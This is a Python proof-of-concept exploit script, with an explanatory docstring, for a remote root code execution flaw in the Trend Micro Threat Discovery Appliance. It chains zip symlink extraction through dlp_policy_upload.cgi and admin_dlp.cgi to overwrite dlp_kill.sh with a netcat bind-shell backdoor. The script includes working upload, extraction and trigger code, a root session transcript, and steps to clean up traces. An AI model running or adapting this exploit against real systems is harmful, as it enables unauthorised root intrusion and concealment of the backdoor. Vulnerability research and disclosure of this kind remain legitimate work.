1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263 | #!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1
Summary:
========
The vulnerabity is that the dlp_policy_upload.cgi allows the upload of a zip file, located statically as: /var/dlp_policy.zip.
The problem is that we can then get that file extracted using admin_dlp.cgi. This gets extracted into 2 locations:
- /eng_ptn_stores/prod/sensorSDK/data/
- /eng_ptn_stores/prod/sensorSDK/backup_pol/
We can then use symlinks to craft a symlinked that points to /opt/TrendMicro/MinorityReport/bin/
ls -la /eng_ptn_stores/prod/sensorSDK/data/si
lrwxrwxrwx 1 root root 35 Sep 3 01:22 /eng_ptn_stores/prod/sensorSDK/data/si -> /opt/TrendMicro/MinorityReport/bin/
Then, all we do is create /eng_ptn_stores/prod/sensorSDK/data/si/dlp_kill.sh with malicious code and get it executed...
Notes:
======
- For this particular PoC, all I did was exec a bind shell using netcat showing that there is no firewall protections...
- Auth is bypassed in an alternate poc, so we can attack this with the default password...
Exploitation
============
This is a clever trick, basically, we cant traverse since unzip checks for ../ (even though spec says its ok).
We can still exploit this however by extracting a symlink to say a directory and then write into that directory.
For example, if you wanted to link to /tmp you would
ln -s /tmp/ pwn
zip --symlinks -r foo.zip pwn
Now foo.zip contains the symlink to /tmp. Once this is extracted, the symlink will be written to disk.
All we need todo now is create another zip file with the folder and file...
zip -r foo.zip pwn/hax.txt
Now after extracting foo.zip, we will write hax.txt into /tmp. Of course, we can automate this magic via python.
So, in summary, the steps to attack this target are:
1. Bypass the auth via XXXX
2. upload a zip with a symlink
3. trigger extraction, crafting the malicious symlink
4. upload another zip with the malicious dlp_kill.sh file
5. trigger extraction, the symlink fires and crushs /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
6. trigger the execution of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh via admin_dlp.cgi
Greetz to the busticati, you know who you are. My home boys.
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin
saturn:~ mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged into the target...
(+) performing initial preflight attack...!
(+) uploading the zipped symlink...
(+) successfuly uploaded the zipped symlink
(+) extracting the symlink...
(+) extracted the symlink!
(+) uploading the zipped dlp_kill.sh...
(+) successfuly uploaded the zipped log_cache.sh
(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/...
(+) extracted the dlp_kill.sh file!
(+) starting backdoor...
(+) backdoor started !
(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh !
(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
#!/bin/sh
kill `pidof sensorworker sensormain`
for i in `seq 0 4`;
do
sleep 1;
sid=`pidof sensormain`
if [ "$sid" -eq "" ]; then
break
else
if [ $i -eq 4 ]; then
kill -9 $sid
fi
fi
done
`nc -e /bin/sh -lp 2122>/dev/null`
sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
#!/bin/sh
kill `pidof sensorworker sensormain`
for i in `seq 0 4`;
do
sleep 1;
sid=`pidof sensormain`
if [ "$sid" -eq "" ]; then
break
else
if [ $i -eq 4 ]; then
kill -9 $sid
fi
fi
done
exit
Cleanup:
========
We just use "sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh" to remove the last line
of the script (the backdoor).
"""
import os
import sys
import time
import zipfile
import requests
import threading
from cStringIO import StringIO
requests.packages.urllib3.disable_warnings()
def _get_bd():
bd = """#!/bin/sh
kill `pidof sensorworker sensormain`
for i in `seq 0 4`;
do
sleep 1;
sid=`pidof sensormain`
if [ "$sid" -eq "" ]; then
break
else
if [ $i -eq 4 ]; then
kill -9 $sid
fi
fi
done
`%s>/dev/null`
""" % c
return bd
def _build_zip(CREATE_SYMLINK=False):
"""
builds the zip file using a symlink attack into a folder...
so we symlink the /opt/TrendMicro/MinorityReport/bin/ directory
and then crush the dlp_kill.sh only to then later get it executed
resulting in rce as root.
"""
if CREATE_SYMLINK:
zipinfo = zipfile.ZipInfo()
zipinfo.filename = u'si'
zipinfo.external_attr |= 0120000 << 16L # symlink file type
zipinfo.compress_type = zipfile.ZIP_STORED
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
if CREATE_SYMLINK:
z.writestr(zipinfo, "/opt/TrendMicro/MinorityReport/bin/")
else:
zipinfo = zipfile.ZipInfo("si/dlp_kill.sh")
zipinfo.external_attr = 0777 << 16L # give full access to included filezipinfo
# backdooring code, as we do
z.writestr(zipinfo, _get_bd())
z.close()
test = open('hax.zip','wb')
test.write(f.getvalue())
test.close()
return f.getvalue()
def we_can_upload_a_zip(CREATE_SYMLINK=False):
"""
uploads a zip file with php code inside to our target for exploitation
"""
multiple_files = {
'Q_UPLOAD_ID': (None, ''),
'binary1': ('pwn.zip', _build_zip(CREATE_SYMLINK), 'application/zip'),
'submit': (None, 'Import')
}
r = s.post(upload_url, files=multiple_files, verify=False)
if r.status_code == 200:
return True
return False
def unzip():
try:
r = s.post(unzip_url, data={"act":"save","upload_status":"0"}, verify=False)
except:
pass
return True
def we_can_login():
r = s.post(login_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
return True
return False
def main():
global c, s, t, p, login_url, unzip_url, upload_url
if len(sys.argv) != 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin" % sys.argv[0]
sys.exit(-1)
t = sys.argv[1]
p = sys.argv[2]
bu = "https://%s/" % t
login_url = "%scgi-bin/logon.cgi" % bu
unzip_url = "%scgi-bin/admin_dlp.cgi" % bu
upload_url = "%scgi-bin/dlp_policy_upload.cgi" % bu
s = requests.Session()
# 1st we bypass auth and login
if we_can_login():
# we just use a bind, demonstrating that the target doesnt even have a proper firewall!
c = "nc -e /bin/sh -lp 2122"
print "(+) logged into the target..."
print "(+) performing initial preflight attack...!"
print "(+) uploading the zipped symlink..."
# 2nd we upload symlink attack
if we_can_upload_a_zip(CREATE_SYMLINK=True):
print "(+) successfuly uploaded the zipped symlink"
print "(+) extracting the symlink..."
# 3rd we extract it
unzip()
print "(+) extracted the symlink!"
time.sleep(2) # let the server process things
print "(+) uploading the zipped dlp_kill.sh..."
# 4th we upload the backdoor
if we_can_upload_a_zip(CREATE_SYMLINK=False):
print "(+) successfuly uploaded the zipped log_cache.sh"
print "(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/..."
# 5th extract the backdoor, crushing /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
unzip()
print "(+) extracted the dlp_kill.sh file!"
print "(+) starting backdoor..."
# 6th we trigger the exec of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
thread = threading.Thread(target=unzip, args=())
thread.daemon = True
thread.start()
print "(+) backdoor started !"
print "(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh !"
print "(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh"
time.sleep(2)
os.system("nc %s 2122" % t)
if __name__ == '__main__':
main()
|